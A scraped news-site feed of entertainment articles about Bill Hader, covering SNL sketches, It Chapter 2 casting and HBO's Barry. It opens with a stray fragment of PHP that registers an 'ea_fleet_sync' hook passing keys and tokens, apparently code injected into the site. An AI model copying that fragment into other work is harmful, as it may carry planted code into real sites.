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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Hader – Brief News https://briefnews.eu Latest World News. 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To close out its first, albeit unorthodox episode since the coronavirus pandemic put everyone in lockdown mode, Saturday Night Live enlisted cast members past and present for a moving tribute to Hal Willner, an acclaimed music producer who had been with the show since 1980.

Willner, who in his work for SNL selected the music used in sketches, died on April 7 at age 64, after being diagnosed with symptoms consistent with those caused by COVID-19.

SNL’s tribute, embedded above, was fittingly musical, as numerous cast members (including Tina Fey, Amy Poehler, Maya Rudolph and Rachel Dratch) sang, from their quarantine homes, Lou Reed’s “Perfect Day,” while some (including Kate McKinnon, Bill Hader, Pete Davidson and Fred Armisen) shared personal remembrances.

Outside of SNL, Willner was highly regarded as a producer of tribute projects that brought together eclectic creative personalities, including 1981’s Amarcord Nino Rota and 1995’s September Songs.

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]]> https://briefnews.eu/snl-video-sandler-fey-hader-and-other-vets-join-cast-in-emotional-tribute-to-music-producer-hal-willner/feed/ 0 SNL: Bill Hader Returns to Lampoon 'Angry' Jim Jordan in Michael Cohen Hearing Cold Open — Watch https://briefnews.eu/snl-bill-hader-returns-to-lampoon-angry-jim-jordan-in-michael-cohen-hearing-cold-open-watch/ https://briefnews.eu/snl-bill-hader-returns-to-lampoon-angry-jim-jordan-in-michael-cohen-hearing-cold-open-watch/#respond Sun, 03 Mar 2019 07:22:13 +0000 http://briefnews.eu/snl-bill-hader-returns-to-lampoon-angry-jim-jordan-in-michael-cohen-hearing-cold-open-watch/

Michael Cohen’s big day on Capital Hill was, not surprisingly, grist for the Saturday Night Live mill this weekend, with Ben Stiller reprising his role as President Donald Trump’s former lawyer and fixer for a cold open that spoofed Wednesday’s televised hearing before the House Oversight and Reform Committee.

Keenan Thompson, channeling Oversight Committee chairman Elijah Cummings, kicked off the proceedings by touting an appearance by rising Dem freshman Alexandria Ocasio-Cortez (as played by Melissa Villaseñor) “because it’s all anyone cares about anymore.” He later tossed to the sketch’s big special guest — SNL alum Bill Hader as fiery, jacket-less Ohio Republican Jim Jordan.

“You lying piece of human trash!” Hader’s Jordan screamed at Cohen, before explaining, “You’re right that I’m angry. I’m angry that I have to sit here through this two-bit dirtbag flea circus. I’m so angry I couldn’t even wear a jacket today!”

Rewatch the cold open (in two parts) below and then hit the comments with your thoughts.

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]]> https://briefnews.eu/snl-bill-hader-returns-to-lampoon-angry-jim-jordan-in-michael-cohen-hearing-cold-open-watch/feed/ 0 ‘It 2’ Casting: James McAvoy and Bill Hader in Talks, Jessica Chastain Confirmed https://briefnews.eu/it-2-casting-james-mcavoy-and-bill-hader-in-talks-jessica-chastain-confirmed/ https://briefnews.eu/it-2-casting-james-mcavoy-and-bill-hader-in-talks-jessica-chastain-confirmed/#respond Thu, 12 Apr 2018 21:50:11 +0000 http://briefnews.eu/it-2-casting-james-mcavoy-and-bill-hader-in-talks-jessica-chastain-confirmed/ It 2 casting

Here’s some exciting It 2 casting news for you: James McAvoy and Bill Hader are now in talks to join the horror sequel. In addition to that, Jessica Chastain, who was previously listed as in talks, is now officially on board. Long live the Losers’ Club.

Early today, word broke that It: Chapter 2 would officially begin filming this summer, which implied that casting announcements couldn’t be far behind. And here we are! The Hollywood Reporter reveals that James McAvoy and Bill Hader are currently in negotiations to join the highly-anticipated horror sequel. THR also confirms that Jessica Chastain, who had previously been listed as in talks, is now officially on board.

If all goes according to plan, McAvoy will play the adult Bill Denbrough, former leader of the Losers’ Club – a group of kids from Derry, Maine who banded together to defeat the evil shape-shifting clown Pennywise (Bill Skarsgard). Jaeden Lieberher played the young Bill in 2017’s It. Hader, meanwhile, will play Richie Tozier, the motor-mouthed, dirty-joke loving member of the group, played in the first film by Finn Wolfhard. Chastain is playing the adult Bev Marsh, the lone girl in the Losers’ Club, previously played by Sophia Lillis. In King’s book, Bill grows up to be a famous horror writer, Richie becomes a famous DJ, and Bev has a renowned career as a fashion designer. There’s no word on if the film version will keep these professions, or change them to something else.

This casting is perfect. Chastain had long been a fan-favorite to take over the part of Bev. Even Sophia Lills herself said she hoped Chastain would play her adult counterpart in the sequel. On top of that, Chastain has a history with It director Andy Muschietti, having appeared in Muschietti’s horror film Mama. McAvoy and Hader are also great additions. I personally would’ve never even thought of McAvoy for the part of adult Bill, but I can totally see it now. Hader’s comedic background will make him perfect to play Richie. Back when /Film ran a list fan-casting the sequel, Jacob Hall listed Hader as his pick to play adult Richie, which indicates Jacob is some sort of psychic and/or wizard.

It and It Chapter 2 are both adapted from Stephen King‘s horror novel It, which tells the tale of a group of childhood friends who battle a supernatural evil as kids, only to have to return to their hometown as adults to battle that same evil again. Director Andy Muschietti and writers Chase Palmer & Cary Fukunaga, and Gary Dauberman broke King’s novel up – the first film merely focused on the events from the character’s childhoods. The sequel will now feature the kids all grown-up and forced to return to Derry, Maine. Andy Muschietti will direct the sequel, with Gary Dauberman working on the script, Bill Skarsgard will also return as Pennywise.

The first It was a pleasant surprise. After some behind-the-scenes turmoil (Cary Fukunaga was originally set to direct the film, and spent years developing it), I had worried the adaptation would be a disappointment. Instead, it ended up being one of my favorite Stephen King adaptations. On top of that, it became a huge box office hit. I can’t wait for this sequel.

It 2 hits theaters on September 6, 2019.

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]]> https://briefnews.eu/it-2-casting-james-mcavoy-and-bill-hader-in-talks-jessica-chastain-confirmed/feed/ 0 Bill Hader breaks down how ‘SNL’ stage fright inspired his new HBO show about a hitman, and tells a funny Tom Cruise story https://briefnews.eu/bill-hader-breaks-down-how-snl-stage-fright-inspired-his-new-hbo-show-about-a-hitman-and-tells-a-funny-tom-cruise-story/ https://briefnews.eu/bill-hader-breaks-down-how-snl-stage-fright-inspired-his-new-hbo-show-about-a-hitman-and-tells-a-funny-tom-cruise-story/#respond Mon, 26 Mar 2018 03:33:32 +0000 http://briefnews.eu/bill-hader-breaks-down-how-snl-stage-fright-inspired-his-new-hbo-show-about-a-hitman-and-tells-a-funny-tom-cruise-story/ Barry John P Johnson HBO finalJohn P. Johnson/HBO

  • Bill Hader used the anxieties he had on “Saturday Night Live” to create the character for his HBO series, “Barry,” about a hitman who wants to be an actor — though he’s awful at acting.
  • Hader said the biggest challenge was making a hitman show that didn’t imitate classics in the genre like “Get Shorty” or “Grosse Pointe Blank.”
  • He also opened up about helping to voice the “Star Wars” character BB-8 (and if he’s getting any residuals from the work) and working alongside Tom Cruise in “Tropic Thunder.”

Since walking away as a “Saturday Night Live” cast member in 2013, Bill Hader has bounced around doing a bunch of things: showing off his dramatic chops in the indie “The Skeleton Twins,” playing the leading man in “Trainwreck,” doing a lot of voiceover work (“Inside Out,” “Sausage Party,” “The Angry Birds Movie,” “The BFG”), and contributing to the voice of BB-8 for “The Force Awakens.”

Now he’s returning to television for the HBO series, “Barry” (series premieres March 25), which he said was inspired by the years of anxiety he battled with while on “SNL.”

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Imagine you’re staring down the barrel of a gun, and the man pulling the trigger is the guy who played Stefon on Saturday Night Live. Of course in the world of Barry, no one knows Bill Hader from TV and he’s playing Barry, a professional hitman. On a job in L.A., Barry discovers an acting class taught by Gene Cousineau (Henry Winkler) and decides he wants to give up the killing business to explore this new field. Suffice it to say, the hitman is not a business you leave by simply giving your two weeks notice.

Hader and Silicon Valley producer Alec Berg created Barry. They spoke with /Film about the dark, violent crime comedy. Barry premieres Sunday, March 25 on HBO after the season premiere of Silicon Valley.

What came first, the hitman or the acting class?

Hader: Hitman. I went, “What if I played a hitman?” and Alec went, “Ugh.” But we talked about it more and I said, “Well, it’s kind of more grounded and real, not just a glib thing you’ve seen a bunch, like the guy in the skinny tie with two guns.”

Berg: We also thought there was something really interesting about somebody who has a skill set that makes them really good at something that they derive absolutely no pleasure from at all.

Hader: It actually is hurting them.

Berg: And then they happen on something that they might be terrible at but they kind of love it.

I can relate to that. Being an entertainment journalist is a great job, but I hate doing lists. I happen to be good at lists so if people need lists I end up doing lists to pay the bills. Is there a corresponding thing for you, there are performances they need that you can give, or shows you can develop that they want?

Hader: Yeah, exactly. It would be like if your lists destroyed people’s lives.

Berg: But that’s what’s kind of fun I think. It’s hopefully what people get behind and why they root for the character. He doesn’t really know too much about it but he does have this kind of innate sense that what he’s doing for a living is not good for him and it’s definitely not good for those people that he’s killing. He has this sense of there has to be some other way.

If you started with the hitman, was part of it that no one would cast you as an action hero and you wanted to do that?

Hader: Exactly. “We want to see you as a sad sack hitman” was not a thing I was ever put on the list for so I went, “I’m going to write my own version of that.” Even when we told HBO, I was like, “What if I was a hitman?” They were like, “Um, you?”

Berg: We kind of always approach the hitman world like he’s a traveling salesman or something where. Without maki it depressing, it should feel like a dead end job where he has to travel through regional airports. He derives absolutely no pleasure from it at all. We never wanted to shoot the violence in any kind of cool [way].

Hader: No, we didn’t want the violence to be cool at all. It should be just what it is which is kind of sad and abrupt and cruel and terrible. And seeing how his violence affects other people. These bad people he kills, they have relatives and loved ones. He’s kind of realizing, “Jesus, what did I do?”

What was the tone you wanted to hit with Barry?

Hader: That was what we talked about most of the time. What’s the tone of this? It really was just kind of trial and error of what can you sustain and can you still be funny after this scene? Or, vice versa. A lot of that was in the writing and editing, just going, “Gosh, we had this scene but now it feels a little too rough. Maybe dial back this.”

Berg: I think we talked about Fargo is definitely a movie that is really funny but also really violent and dark.

Hader: Boogie Nights was another one that we talked about, especially the acting world.

Berg: The kind of group of misfits who find each other.

Hader: That kind of story where it can be really funny one minute and the next minute be really heartbreaking. Those were the benchmarks I guess.

Does the tone evolve over the first season?

Hader: I would say it gets a little bit more suspenseful.

Berg: Yeah, but I wonder. It’s interesting, I think that’s a function of the story as well. There are more plates spinning.

Hader: He constantly gets more plates spinning and then when one plate breaks, five more appear. He’s constantly trying to juggle all these things.

Is Henry Winkler’s character based on any of your acting teachers?

Hader: No. I didn’t really have any. I just went to an improv class in L.A. so my teachers were all really nice. No, this was more we were just talking about certain types of people, an out of work actor kind of guy. In that theater, he’s God but then the minute he leaves, he’s just an out of work actor. We just thought that was an interesting character for him to play. We always had Henry pretty early on in our minds to play that part. Then we visited some acting classes and had seen the way the teacher would work with them and sometimes would break them down and make them cry, something really awful to get a performance out of them.

Berg: And then the actor who was sobbing at the end of the exercise would be incredibly grateful to this person who had just emotionally beat the snot out of them.

Hader: That was very weird.

Berg: “Thank you so much. That was amazing.” It’s a really interesting Stockholm Syndrome kind of relationship. Again, we did a bunch of research. There’s Stella Adler and a lot of these kind of larger than life acting gurus.

Have any pages of Cousineau’s book been written?

Hader: There was, props wrote some of it and we didn’t realize that props had written any of it until there was a closeup in the edit bay and our editor started laughing really hard. We go, “What?” He said, “Did you read what was in here?” We hadn’t read it. Just his story, because it’s him writing it, it was just in his voice. That’s what happens when you have really funny props people who just totally got the character and just sat down. I think no one would see unless you paused it.

Did it make the cut?

Berg: I think so.

Hader: It’s in there for like three seconds.

Will we see more of Cousineau outside of class?

Hader: Yeah, you see a little bit more of him outside of class.

Are you picking the monologues and scenes for the classroom that you would actually like to perform?

Hader: No. The thing in the pilot with Ryan (Tyler Jacob Moore), that monologue, that was something Alec saw a guy do in an acting class. He did the Gary Oldman True Romance scene. The stuff in episode four, Glengarry Glenn Ross, that was almost more out of necessity for what the scene needed to do.

Berg: It’s chicken and the egg. Sometimes we just think this would be a hilarious thing to have somebody do in the scene and sometimes it’s like we need a piece that lets Barry explore a certain area, or this story is about this so what if there were something in the class that deals with that same issue in some way?

Hader: Even the actors, because they’re all actors, when we were doing the pilot, Sarah Goldberg was doing a different monologue and we couldn’t get it because it’s really expensive. Then she texted, “In my acting class, everyone did that monologue from Magnolia, Julianne Moore. Everyone did that scene.” We never would have thought of that but she’s like, “Oh, I have experiences, either that or Girl, Interrupted.” There’s all these kind of go to monologues that acting classes do so we thought that was fun.

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]]> https://briefnews.eu/bill-hader-and-alec-berg-on-how-fargo-and-boogie-nights-influenced-barry-interview/feed/ 0 Bill Hader Brings Back Stefon and Changes Wardrobe on Air in the Best ‘Saturday Night Live’ This Season https://briefnews.eu/bill-hader-brings-back-stefon-and-changes-wardrobe-on-air-in-the-best-saturday-night-live-this-season/ https://briefnews.eu/bill-hader-brings-back-stefon-and-changes-wardrobe-on-air-in-the-best-saturday-night-live-this-season/#respond Mon, 19 Mar 2018 05:58:35 +0000 http://briefnews.eu/bill-hader-brings-back-stefon-and-changes-wardrobe-on-air-in-the-best-saturday-night-live-this-season/ Bill Hader Hosted Saturday Night Live

Last night Saturday Night Live alum Bill Hader returned to his old stomping grounds to host the late night sketch series for the second time. Not only does he have a new show on HBO to promote (and apparently it’s pretty damn good), but his return to Studio 8H made it feel like he never left. Not only did Hader reprise a couple of his fan favorite characters, but there were a few outstanding cameos along with them, not to mention the fact that this was the best episode of the season.

Let’s run through the best and worst sketches of the Bill Hader hosted Saturday Night Live.

The Best

Jurassic Park Auditions – Much like Celebrity Family Feud, these audition reel line-ups for famous movies can be hit or miss. The best one ever was the Star Wars audition reel done back in 1997 when the Special Edition versions of the films were coming out. But this comes pretty close to that level of greatness. Nearly all of the impressions are perfect, especially Bill Hader’s incredible Alan Alda impression. But the surprisingly fantastic one is Kate McKinnon doing her best version of Jodie Foster in Silence of the Lambs.

Girlfriends Game Night – Honestly, I’m kind of surprised that a sketch like this made it to air when you consider the premise. While the sketch itself is hilarious, its made even funnier by the fact that Bill Hader’s controlling of the wheelchair results in a couple hilarious physical mishaps that cause him and nearly everyone in the sketch to break.

Undercover Office Potty – Whenever one of the pre-recorded sketches features Beck Bennett and Kyle Moony in the 10-to-1 spot of the night, you know it’s going to be weird, and it’s usually fantastic. This was no exception in this infomercial short film hybrid that features not to discreet office supply bathroom devices. The choice to have this feel like it was set in the 1990s adds to the odd factor, and it only makes it even better. Brigsby Bear director Dave McCary was at the helm of this sketch, which explains a lot.

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]]> https://briefnews.eu/bill-hader-brings-back-stefon-and-changes-wardrobe-on-air-in-the-best-saturday-night-live-this-season/feed/ 0 ‘Barry’ is a Bloody Great Showcase for a Killer Bill Hader [SXSW] https://briefnews.eu/barry-is-a-bloody-great-showcase-for-a-killer-bill-hader-sxsw/ https://briefnews.eu/barry-is-a-bloody-great-showcase-for-a-killer-bill-hader-sxsw/#respond Sun, 11 Mar 2018 17:55:54 +0000 http://briefnews.eu/barry-is-a-bloody-great-showcase-for-a-killer-bill-hader-sxsw/ barry review

On Saturday Night Live, Bill Hader made his name as a ham. And a good one. As the show’s resident master of impressions (maybe the best the long-running series has ever seen), he was a key supporting player, the goofball who could conjure up an iconic figure with seemingly little effort, the wacky spice injected into any ordinary situation to get you giggling. Hader was always at his best when he was being silly.

So perhaps the most surprising thing about Hader’s new HBO series, Barry, is that he’s not silly at all. In fact, he’s downright withdrawn, playing a character so internalized, anxious and downbeat that the mere act of interacting with other human beings looks like a trial. The second most surprising thing about the show is that Hader’s Barry is an icy killer, a hitman who is ruthless and efficient and damn good at his job.

But what’s least surprising about all of of this is that Hader is terrific. He always is. We all knew he could be funny. What we didn’t know is that he could play the stone-faced straight man to a wacky universe of characters. It’s a thrilling, generous performance, one that lets the supporting cast shine at every opportunity.

Hader (who also directed the first two episodes) and co-creator Alec Berg (of Silicon Valley fame) ground the high concept premise of the show in grimly relatable subtext. At it’s core, Barry is the story of a downbeat Midwestern schlub making a living at a job he hates, albeit one that he’s very good at. However, a work trip to Los Angeles finds him bitten by the acting bug. Is he talented? Not really. But is he going to follow his dreams anyway? You bet your ass he will.

Of course, Barry is a professional hitman. So things get weird fast. And yeah, Barry’s baby steps into Hollywood, via an acting class filled with lovable and sometimes dim dreamers, come with a body count. Breaking into the industry is hard for ordinary folks, so that goes double for skilled killers who work in the shadows and have accidentally pissed off the local criminal underworld.

This set-up allows Barry to be lovable and even relatable, all while he’s shooting people in the face. You know this guy. Maybe you are this guy. He hates his job and wants more out of life. Fuches, his father figure and partner-in-crime (played by the always indispensable Stephen Root), loves him, but doesn’t believe he has a chance at this acting thing. He has a crush on a fellow acting student, Sally (an adorable and sweet Sarah Goldberg), but he’s not good at dancing, drinking, flirting, and closing the deal when he finds himself outside her apartment door. Barry is a war veteran, a damaged man who learned overseas that he was good at killing and brought his one true skill back home…but the emotions that circle that dark core make him human. There’s no snark to Barry. No smugness. When he kills, it’s never cool. We can sense and appreciate his desire for escape.

Barry Trailer - Bill Hader

Hader and Berg wisely choose to never glamorize Barry’s work. Violence is fast and chaotic, reflecting Barry’s skills and the suddenness that accompanies a real gun battle. Hader is chilling with a weapon in his hand, a constant reminder that this is ugly work. Even when Barry gets silly, this dark underbelly gives it bite. Some of the comedic rhythms will remind you of Silicon Valley (Berg’s fingerprints are as present as Hader’s), but this is pitch black stuff. Comedy at its bleakest.

And that makes the show’s cheerful side all the more disarming and charming. When Barry isn’t murdering people, he’s learning how to act under Cousineau, a demanding acting coach whose students seemingly don’t realize that he’s a total crook. Henry Winkler is pitch-perfect casting – charismatic enough to sell us on his vision of show business, weathered enough to realize that he’s as desperate and pathetic as his hopeless charges. It’s a silly performance by an actor skilled at making the outrageous feel natural and his interactions with Hader are among the highlights of the first two episodes.

Just as effective are Glenn Fleshler and Anthony Carrigan as two eastern European criminals whose attempts to live ordinary domestic lives often clash with the fact that they torture people in their garages and hire marksmen to shoot innocent people in the head. Hader may play the title character, but he’s the straight face to all of this lunacy – watching these buffoons bounce off him is a joy.

There is a clear and obvious evolution across the two episodes of Barry that premiered at SXSW. The pilot is a solid half hour with a lot of heavy lifting – it gets the many high concept gears turning by the time the credits roll. Episode two sees the show finding its groove, transforming into something you can imagine watching every week instead of just a strong pitch. Episode 2 is funnier, darker, and wilder, doubling down on the pilot’s biting black comedy and unexpected sweetness while pushing the plot forward at a speed that reminds you just how slow too many shows move these days.

Barry is off to a strong start and if it maintains its momentum, HBO could have the next Veep or Silicon Valley on its hands. It’s fresh. It’s fun. It’s decisively R-rated and bleak in that trademark HBO house style. And Hader, a brilliant supporting player, steps into the center and proves that he’s the star we’ve always known him to be.

Barry premieres on HBO on March 25, 2018.

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Bill Hader is returning to Saturday Night Live to host the late night sketch series that kickstarted his career next month, and that’s mostly because he has a new HBO show to promote.

Barry features Bill Hader in a new dark comedy series with shades of Dexter. The show sees the comedian playing a hitman whose most recent job brings him into an acting class to track his target. But as we see in the new Barry trailer, this assassin for hire finds himself bitten by the acting bug, feeling alive and passionate when he gets on stage and pretends to be someone else. But will he be able to balance his love for acting and a job that has him killing people all the time?

Watch the New Barry Trailer

Bill Hader is easily one of my favorite cast members from Saturday Night Live. The range of his characters and the voices he puts on are outstanding. But I love seeing that he’ll be going to a bit darker, more serious side, even though this is still essentially a comedy series. There’s a lot of potential in this show and this could be a bright spot in Hader’s already satisfying career and might open up some new windows for him on the big screen. Plus, Hader is directing some episodes of the first eight episode season (as well as executive producing), so it will also expand his career possibilities behind the camera.

The series will likely face the challenge of balancing the darker comedy with the serious drama. Finding a happy medium between the two where both land firmly can be a challenge (like last year’s Suburbicon), so it will be interesting to see how this show, which hails from executive producer Alec Berg (Curb Your Enthusiasm, Seinfeld), fares in that regard.

Barry (Bill Hader) is a depressed, low-rent hitman from the Midwest. Lonely and dissatisfied in his life, he reluctantly travels to Los Angeles to execute a hit on an aspiring actor. Barry follows his “mark” into an acting class and ends up finding an accepting community in a group of eager hopefuls within the LA theater scene. He wants to start a new life as an actor, but his criminal past won’t let him walk away —can he find a way to balance both worlds?

Barry premieres on HBO on March 25, 2018.

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]]> https://briefnews.eu/barry-trailer-bill-hader-is-a-hitman-who-gets-bitten-by-the-acting-bug/feed/ 0 ‘Barry’ Trailer: Assassin Bill Hader Becomes An Actor https://briefnews.eu/barry-trailer-assassin-bill-hader-becomes-an-actor/ https://briefnews.eu/barry-trailer-assassin-bill-hader-becomes-an-actor/#respond Tue, 05 Dec 2017 07:12:47 +0000 http://briefnews.eu/barry-trailer-assassin-bill-hader-becomes-an-actor/ Barry trailer

Ever felt like you need a career change? So does Barry, a low-rent assassin who finds a new calling: acting! Bill Hader stars in the upcoming HBO comedy series as a hitman-turned-actor, with a cast that includes Henry Winkler and Stephen Root. Hader directs the series, which will arrive on HBO next year. The first Barry trailer gives us a very quick look at the series.

Former Saturday Night Live co-star Bill Hader makes his directorial debut with Barry, a new HBO comedy series that Hader co-wrote with Seinfeld and Silicon Valley writer Alec Berg. Barry finds Hader playing a lonely, dissatisfied hitman who travels to Los Angeles on a job. But while in the City of Angels, Barry finds bitten by the acting bug, and finds acceptance in a group of theater actors. Watch the Barry trailer below.

Barry trailer

Okay, admittedly, there’s not a lot here, save for a quick montage of several characters saying “Barry” over and over again, but it gives you a small idea of the shenanigans to come. The premise – about a criminal stumbling into the acting world – can’t help but remind me of Shane Black’s fantastic noir comedy Kiss Kiss Bang Bang. If Barry ends up being even half as funny as Black’s film, it’ll do fine. Here’s the brief, one-sentence synopsis: “Bill Hader stars as Barry, a seasoned assassin who discovers a new passion for acting while on an assignment in Los Angeles.”

Barry made headlines earlier this year, but they weren’t the type of headlines that would make HBO happy. Hackers managed to gain access to 1.5TB of data from HBO as part of an elaborate extortion scam. The hackers wanted HBO to pay up, or else risk having several shows leaked online. During the scheme, episodes of Curb Your Enthusiasm, Insecure, Ballers, The Deuce and Barry were al leaked online.

Now HBO is ready to move beyond that unpleasant experience and give Barry a proper release. In addition to Hader, the show features Henry Winkler (Arrested Development) as Gene Cousineau, an acting coach; Stephen Root (Get Out) as Fuches, Barry’s handler; Sarah Goldberg (The Dark Knight Rises) as Sally, an actress Barry befriends in his new-found theater community; and Anthony Carrigan (Gotham) and Glenn Fleshler (Suburbicon) as two Chechen gangsters. Hopefully HBO will release a more detailed trailer sooner rather than later, giving us a better idea of what to expect from Barry.

Barry arrives on HBO Spring 2018.

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Sorry, Mario Cantone: There’s a new Anthony Scaramucci in town.

Saturday Night Live alum Bill Hader made his debut as the ex-White House staffer on Thursday, FaceTiming into the season premiere of Weekend Update: Summer Edition to speak with hosts Colin Jost and Michael Che.

“I heard you two nutless, liberal a—wipes mention my name earlier, and when I hear my name three times I appear like a Goombah Beatle Juice,” Hader’s Mooch began. Asked if he was surprised he only lasted 11 days on the job, he responded, “Hell no!,” before defending the explicit conversation he had with a reporter for The New Yorker. “I guess people didn’t like it when I said — and let me see if I can clean this up for primetime — that Steve Bannon was trying to ‘S’ his own ‘C.’ And by the by, I was completely misquoted. I didn’t say Bannon tried to ‘S’ his own ‘C.’ He did it! I saw it! Tongue to tip. Next question!”

Scaramucci had been the butt of many jokes before Hader turned up mid-episode. Jost acknowledged early on that the Mooch “barely got the tip in” before he was let go, and compared the man to “Chanukah in July, because he was around for about a week and it’s a miracle he lasted that long.”

The Weekend Update premiere also featured a visit from Alex Moffat and Mikey Day, who reprised their roles as Eric and Donald Trump, Jr. The latter addressed his infamous meeting with Russian officials, while Eric was distracted by a fidget spinner. (Yeah, I think it’s safe to say these two newcomers are staying put for Season 43.) Kenan Thompson later turned up as father to the Los Angeles Lakers’ Lonzo Ball. Leslie Jones then put in an appearance to talk with Jost about her new workout regime and “Michelle Obama arms.”

This of course isn’t the first time Update has aired in primetime. In October 2008, Seth Meyers and Amy Poehler presided over Saturday Night Live Weekend Update Thursday in the weeks leading up to the election between Barack Obama and John McCain. It returned for an additional six episodes in 2009, followed by a brief comeback in September 2012.

What did you think of the Weekend Update premiere? Sad that this could very well be the only time we see Bill Hader’s impersonation of the Mooch? Grade the first installment via the following poll, then sound off in the comments below.

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